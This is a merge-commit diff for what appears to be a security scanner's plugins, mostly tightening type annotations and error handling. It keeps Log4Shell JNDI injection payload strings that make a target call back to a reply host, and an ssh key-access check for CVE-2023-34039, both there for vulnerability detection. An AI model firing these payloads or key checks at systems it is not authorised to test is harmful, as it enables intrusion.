Merge branch 'main' into fix/update-packages

.pre-commit-config.yaml

@@ -83,15 +83,16 @@ repos:
     hooks:
       - id: mypy
         additional_dependencies:
-          - types-PyYAML
+          - types-pyyaml
           - types-cachetools
           - types-retry
           - pydantic
           - pynacl
           - httpx
+          - types-python-dateutil
+          - types-requests
         exclude: |
           (?x)(
-          ^boefjes/boefjes/plugins |
           ^boefjes/tools |
           ^keiko/templates |
           ^mula/whitelist\.py$ |

boefjes/boefjes/app.py

@@ -261,10 +261,11 @@ def _start_working(
 
 def get_runtime_manager(settings: Settings, queue: WorkerManager.Queue, log_level: str) -> WorkerManager:
     local_repository = get_local_repository()
+    item_handler: Handler
     if queue is WorkerManager.Queue.BOEFJES:
         item_handler = BoefjeHandler(LocalBoefjeJobRunner(local_repository), local_repository, bytes_api_client)
     else:
-        item_handler = NormalizerHandler(  # type: ignore
+        item_handler = NormalizerHandler(
             LocalNormalizerJobRunner(local_repository), bytes_api_client, settings.scan_profile_whitelist
         )
 

boefjes/boefjes/clients/bytes_client.py

@@ -1,6 +1,6 @@
 import logging
 import typing
-from collections.abc import Callable
+from collections.abc import Callable, Set
 from functools import wraps
 from typing import Any
 from uuid import UUID
@@ -90,7 +90,7 @@ def save_normalizer_meta(self, normalizer_meta: NormalizerMeta) -> None:
         self._verify_response(response)
 
     @retry_with_login
-    def save_raw(self, boefje_meta_id: str, raw: bytes, mime_types: frozenset[str] = frozenset()) -> UUID:
+    def save_raw(self, boefje_meta_id: str, raw: str | bytes, mime_types: Set[str] = frozenset()) -> UUID:
         headers = {"content-type": "application/octet-stream"}
         headers.update(self.headers)
         response = self._session.post(

boefjes/boefjes/job_handler.py

@@ -137,11 +137,11 @@ def handle(self, boefje_meta: BoefjeMeta) -> None:
 
         boefje_meta.started_at = datetime.now(timezone.utc)
 
-        boefje_results = None
+        boefje_results: list[tuple[set, bytes | str]]
 
         try:
             boefje_results = self.job_runner.run(boefje_meta, boefje_meta.environment)
-        except Exception:
+        except:
             logger.exception("Error running boefje %s[%s]", boefje_meta.boefje.id, str(boefje_meta.id))
             boefje_results = [({"error/boefje"}, traceback.format_exc())]
 

boefjes/boefjes/katalogus/local_repository.py

@@ -63,6 +63,7 @@ def cover_path(self, id_: str) -> Path:
         boefjes = self.resolve_boefjes()
         normalizers = self.resolve_normalizers()
         default_cover_path = self.default_cover_path()
+        plugin: BoefjeResource | NormalizerResource
 
         if id_ in boefjes:
             plugin = boefjes[id_]

boefjes/boefjes/local.py

@@ -45,8 +45,11 @@ def run(self, boefje_meta: BoefjeMeta, environment: dict[str, str]) -> list[tupl
         boefjes = self.local_repository.resolve_boefjes()
         boefje_resource = boefjes[boefje_meta.boefje.id]
 
-        if not boefje_resource.module and boefje_resource.boefje.oci_image:
-            raise JobRuntimeError("Trying to run OCI image boefje locally")
+        if not boefje_resource.module:
+            if boefje_resource.boefje.oci_image:
+                raise JobRuntimeError("Trying to run OCI image boefje locally")
+            else:
+                raise JobRuntimeError("Boefje doesn't have OCI image or main.py")
 
         with TemporaryEnvironment() as temporary_environment:
             temporary_environment.update(environment)

boefjes/boefjes/plugins/helpers.py

@@ -2,9 +2,10 @@
 import logging
 import os
 import tarfile
-from collections.abc import ByteString, Generator
+from collections.abc import Generator
 
 import docker
+from typing_extensions import Buffer
 
 
 class TarStream(io.RawIOBase):
@@ -30,13 +31,14 @@ def readable(self) -> bool:
         """Returns whether the generator stream is (still) readable."""
         return self.able_to_read
 
-    def readinto(self, memory_view: ByteString) -> int:
+    def readinto(self, buffer: Buffer) -> int:
         """Read the generator. Returns 0 when done. Output is stored in memory_view."""
         try:
             chunk = self.bytes_left or next(self.stream)
         except StopIteration:
             self.able_to_read = False
             return 0
+        memory_view = memoryview(buffer)
         view_len = len(memory_view)
         output, self.bytes_left = chunk[:view_len], chunk[view_len:]
         outlen = len(output)
@@ -59,5 +61,13 @@ def get_file_from_container(container: docker.models.containers.Container, path:
 
     f = tarfile.open(mode="r|", fileobj=TarStream(stream).reader())
     tarobject = f.next()
-    if tarobject.name == os.path.basename(path):
-        return f.extractfile(tarobject).read()
+    if not tarobject or tarobject.name != os.path.basename(path):
+        logging.warning("%s not found in tarfile from container %s %s", path, container.short_id, container.image.tags)
+        return None
+
+    extracted_file = f.extractfile(tarobject)
+    if not extracted_file:
+        logging.warning("%s not found in tarfile from container %s %s", path, container.short_id, container.image.tags)
+        return None
+
+    return extracted_file.read()

boefjes/boefjes/plugins/kat_cve_2023_34039/main.py

@@ -14,7 +14,6 @@
 
 """
 
-import logging
 import os
 
 from boefjes.job_models import BoefjeMeta
@@ -24,8 +23,7 @@ def run(boefje_meta: BoefjeMeta) -> list[tuple[set, str | bytes]]:
     input_ = boefje_meta.arguments["input"]  # input is IPService
     ip_port = input_["ip_port"]
     if input_["service"]["name"] != "ssh":
-        logging.info("Not an ssh service")
-        return
+        return [({"info/boefje"}, "Skipping because service is not an ssh service")]
 
     ip = ip_port["address"]["address"]
     port = ip_port["port"]
@@ -50,15 +48,14 @@ def run(boefje_meta: BoefjeMeta) -> list[tuple[set, str | bytes]]:
                 "2>/dev/null",
             ]
             try:
-                ssh_command = " ".join(ssh_command)
-                coutput = os.system(ssh_command)  # noqa: S605
+                coutput = os.system(" ".join(ssh_command))  # noqa: S605
                 if coutput not in (0, 32512):  # 0 = it worked, 32512 = `exit` does not exists but we did connect
                     continue
                 return [
                     (
                         set(),
                         "\n".join(
-                            (coutput, f"{key_file} is allowed access to vRealize Network Insight on {ip}:{port}")
+                            (str(coutput), f"{key_file} is allowed access to vRealize Network Insight on {ip}:{port}")
                         ),
                     )
                 ]

boefjes/boefjes/plugins/kat_dicom/main.py

@@ -22,7 +22,7 @@ def run(boefje_meta: BoefjeMeta) -> list[tuple[set, bytes | str]]:
 
     # Default ports
     ports = (11112, 104, 2761, 2762)
-    results = {"open_ports": []}
+    results: dict[str, list[int]] = {"open_ports": []}
 
     # Attempt to establish connection and post result
     for port in ports:

boefjes/boefjes/plugins/kat_dns/main.py

@@ -32,17 +32,15 @@ class ZoneNotFoundException(Exception):
     pass
 
 
-def get_record_types() -> list[str]:
+def get_record_types() -> set[str]:
     requested_record_types = getenv("RECORD_TYPES", "")
     if not requested_record_types:
-        return list(DEFAULT_RECORD_TYPES)
-    requested_record_types = list(
-        map(
-            lambda x: re.sub(r"[^A-Za-z]", "", x),
-            requested_record_types.upper().split(","),
-        )
+        return DEFAULT_RECORD_TYPES
+    parsed_requested_record_types = map(
+        lambda x: re.sub(r"[^A-Za-z]", "", x),
+        requested_record_types.upper().split(","),
     )
-    return list(set(requested_record_types).intersection(DEFAULT_RECORD_TYPES))
+    return set(parsed_requested_record_types).intersection(DEFAULT_RECORD_TYPES)
 
 
 def run(boefje_meta: BoefjeMeta) -> list[tuple[set, bytes | str]]:

boefjes/boefjes/plugins/kat_dns/normalize.py

@@ -4,7 +4,6 @@
 from ipaddress import IPv4Address, IPv6Address
 
 from dns.message import Message, from_text
-from dns.rdata import Rdata
 from dns.rdtypes.ANY.CAA import CAA
 from dns.rdtypes.ANY.CNAME import CNAME
 from dns.rdtypes.ANY.MX import MX
@@ -74,8 +73,6 @@ def register_record(record: DNSRecord) -> DNSRecord:
     for response in responses:
         for rrset in response.answer:
             for rr in rrset:
-                rr: Rdata
-
                 record_hostname = register_hostname(str(rrset.name))
                 default_args = {
                     "hostname": record_hostname.reference,
@@ -183,7 +180,6 @@ def register_record(record: DNSRecord) -> DNSRecord:
     if dmarc_results not in ["NXDOMAIN", "Timeout"]:
         for rrset in from_text(dmarc_results).answer:
             for rr in rrset:
-                rr: Rdata
                 if isinstance(rr, TXT):
                     yield DMARCTXTRecord(
                         hostname=input_hostname.reference,

boefjes/boefjes/plugins/kat_dns_zone/normalize.py

@@ -1,7 +1,6 @@
 from collections.abc import Iterable
 
 from dns.message import Message, from_text
-from dns.rdata import Rdata
 from dns.rdtypes.ANY.SOA import SOA
 
 from boefjes.job_models import NormalizerOutput
@@ -27,8 +26,6 @@ def run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:
 
     for rrset in message.answer:
         for rr in rrset:
-            rr: Rdata
-
             if isinstance(rr, SOA):
                 parent_zone_hostname = Hostname(network=internet.reference, name=str(rrset.name).rstrip("."))
                 parent_zone = DNSZone(hostname=parent_zone_hostname.reference)

boefjes/boefjes/plugins/kat_dnssec/normalize.py

@@ -11,7 +11,7 @@ def run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:
 
     ooi_ref = Reference.from_str(input_ooi["primary_key"])
 
-    possible_errors: [str] = [
+    possible_errors: list[str] = [
         "Bogus DNSSEC signature",
         "DNSSEC signature not incepted yet",
         "Unknown cryptographic algorithm",

boefjes/boefjes/plugins/kat_external_db/normalize.py

@@ -37,8 +37,8 @@ def run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:
 
     for address_item in follow_path_in_dict(path=IP_ADDRESS_LIST_PATH, path_dict=results):
         interface = ip_interface(follow_path_in_dict(path=IP_ADDRESS_ITEM_PATH, path_dict=address_item))
-        address, mask = interface.with_prefixlen.split("/")
-        mask = int(mask)
+        address, mask_str = interface.with_prefixlen.split("/")
+        mask = int(mask_str)
 
         # Decide whether we yield IPv4 or IPv6.
         if isinstance(interface, IPv4Interface):

boefjes/boefjes/plugins/kat_fierce/fierce.py

@@ -18,6 +18,7 @@
 import socket
 import sys
 import time
+from typing import Any
 
 import dns.exception
 import dns.name
@@ -41,7 +42,7 @@ def print_subdomain_result(url, ip, nearby=None):
 
 
 def unvisited_closure():
-    visited = set()
+    visited: set = set()
 
     def inner(l):  # noqa: E741
         nonlocal visited
@@ -58,23 +59,9 @@ def find_subdomain_list_file(filename):
     filename_path = os.path.join(os.path.dirname(__file__), "lists", filename)
     if os.path.exists(filename_path):
         return os.path.abspath(filename_path)
-
-    try:
-        import pkg_resources
-    except ImportError:
-        return filename
-
-    # If the relative check failed then attempt to find the list file
-    # in the pip package directory. This will typically happen on pip package
-    # installs
-    package_filename_path = os.path.join("lists", filename)
-    try:
-        full_package_path = pkg_resources.resource_filename("kat_fierce", package_filename_path)
-    except ImportError:
+    else:
         return filename
 
-    return full_package_path
-
 
 def head_request(url, timeout=2):
     conn = http.client.HTTPConnection(url, timeout=timeout)
@@ -267,7 +254,7 @@ def update_resolver_nameservers(resolver, nameservers, nameserver_filename):
 
 
 def fierce(**kwargs):
-    output = {}
+    output: dict[str, Any] = {}
     resolver = dns.resolver.Resolver()
 
     resolver = update_resolver_nameservers(resolver, kwargs["dns_servers"], kwargs["dns_file"])
@@ -307,7 +294,7 @@ def fierce(**kwargs):
     if zone:
         return
 
-    random_subdomain = str(random.randint(1e10, 1e11))  # noqa DUO102, non-cryptographic random use
+    random_subdomain = str(random.randint(10_000_000_000, 100_000_000_000))  # noqa DUO102, non-cryptographic random use
     random_domain = concatenate_subdomains(domain, [random_subdomain])
     wildcard = query(resolver, random_domain, record_type="A", tcp=kwargs["tcp"])
     wildcard_ips = {rr.address for rr in wildcard.rrset} if wildcard else set()

boefjes/boefjes/plugins/kat_leakix/main.py

@@ -10,6 +10,9 @@
 
 def run(boefje_meta: BoefjeMeta) -> list[tuple[set, bytes | str]]:
     pk = boefje_meta.input_ooi
+    if not pk:
+        raise Exception("LeakIX boefje requires an input OOI")
+
     results = []
     if re.match(pk, "IPAddressV4|.*") or re.match(pk, "IPAddressV6|.*"):
         ip = pk.split("|")[-1]

boefjes/boefjes/plugins/kat_leakix/normalize.py

@@ -57,7 +57,7 @@ def run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:
             yield as_ooi
 
         if event["ip"]:
-            for ooi in list(handle_ip(event, network_reference, as_ooi.reference)):
+            for ooi in list(handle_ip(event, network_reference, as_ooi.reference if as_ooi else None)):
                 yield ooi
             # we only need the last ooi's reference
             event_ooi_reference = ooi.reference

boefjes/boefjes/plugins/kat_log4shell/main.py

@@ -1,5 +1,6 @@
 import json
 import logging
+import uuid
 from base64 import b64encode
 from os import getenv
 from urllib.parse import urlparse
@@ -49,6 +50,7 @@ def check_with_header(url_input: str, header_name: str, payload: str, timeout: i
         return b64encode(response.content).decode()
     except requests.exceptions.ConnectionError as e:
         logging.error("HTTP connection to %s URL error: %s", url_input, e)
+        return None
 
 
 def check(url_input: str, payload: str, timeout: int) -> str | None:
@@ -58,9 +60,10 @@ def check(url_input: str, payload: str, timeout: int) -> str | None:
         return b64encode(response.content).decode()
     except requests.exceptions.ConnectionError as e:
         logging.error("HTTP connection to %s URL error: %s", url_input, e)
+        return None
 
 
-def get_payloads(url_input: str, reply_host: str, identifier: str) -> dict[str, str]:
+def get_payloads(url_input: str, reply_host: str, identifier: uuid.UUID) -> dict[str, str]:
     payloads = [
         "${{jndi:ldap://{}/test.class}}",
         "${{jndi:dns://{}:53/test.class}}",

boefjes/boefjes/plugins/kat_manual/csv/normalize.py

@@ -13,7 +13,7 @@
 from octopoes.models.ooi.web import URL
 from octopoes.models.types import OOIType
 
-OOI_TYPES = {
+OOI_TYPES: dict[str, dict] = {
     "Hostname": {"type": Hostname},
     "URL": {"type": URL},
     "Network": {"type": Network, "default": "internet", "argument": "name"},
@@ -109,7 +109,7 @@ def get_ooi_from_csv(
     return ooi_type(**kwargs), extra_declarations
 
 
-def get_or_create_reference(ooi_type_name: str, value: str, reference_cache):
+def get_or_create_reference(ooi_type_name: str, value: str | None, reference_cache):
     ooi_type_name = next(filter(lambda x: x.casefold() == ooi_type_name.casefold(), OOI_TYPES.keys()))
 
     # get from cache